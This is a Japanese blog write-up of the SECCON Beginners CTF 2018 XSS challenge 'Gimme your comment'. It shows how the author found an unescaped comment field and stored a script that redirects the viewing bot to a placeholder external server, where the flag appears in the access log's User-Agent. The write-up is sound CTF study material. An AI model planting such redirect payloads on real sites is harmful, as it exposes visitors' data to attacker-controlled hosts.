XSS問題を解く[CTF for Beginners 2018]"Gimme your comment"
経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 XSSの可能性を疑い、検証
見えるのは、Webアプリフレームワークでよく作るBootstrap風のサイト。投稿できるフォームがあるのみ。
まず、投稿フォームが機能しているので、投稿してみる。ここで、Web上のフォームの脆弱性をつく、ということで、XSSの可能性を考える。これを調べるのは、<h1>あ</h1>
とかをフォームに入れてみて、<h1>
タグがエスケープされているか、されていなくて反応してでっかく文字が出てくるかを見れば良い。すると、フォームのタイトルはエスケープされているものの、コメント本文はエスケープされていない。ここにXSSをしかけることができるとわかる。
2 サーバーを用意しXSSをしかける
User-Agentはどういうときにわかるか、それはサーバーにアクセスしたときのサーバーログだということで、サーバーログが見れる自分の外部公開しているサーバーのURLを用意する。(今回は仮にhttp://www.fugafugafugafuga.com
とする。実際は自分のサーバーのURLを設定した。)
※ちなみに注意すべきなのは外部公開していないローカルサーバーでは意味がないです。例えば127.0.0.1
とかではサーバーにログが残りません。CTF4bのサーバーからもアクセスできるように外部公開サーバーにしましょう。
下記Javascriptコードでリダイレクトさせられる。
<script>location.href="http://www.fugafugafugafuga.com"</script>
フォーム本文にこのコードを入力、投稿ボタンを押したら、www.fugafugafugafuga.com
にリダイレクトされたのを確認する。
3 サーバーのログを見る
サーバーのログを見る。と、アクセスが起きた時刻のログをよく見ると、フラグが書いてある。解けた!!
参考引用元記事
こちらも参考にさせていただきました。
zeosutt.hatenablog.com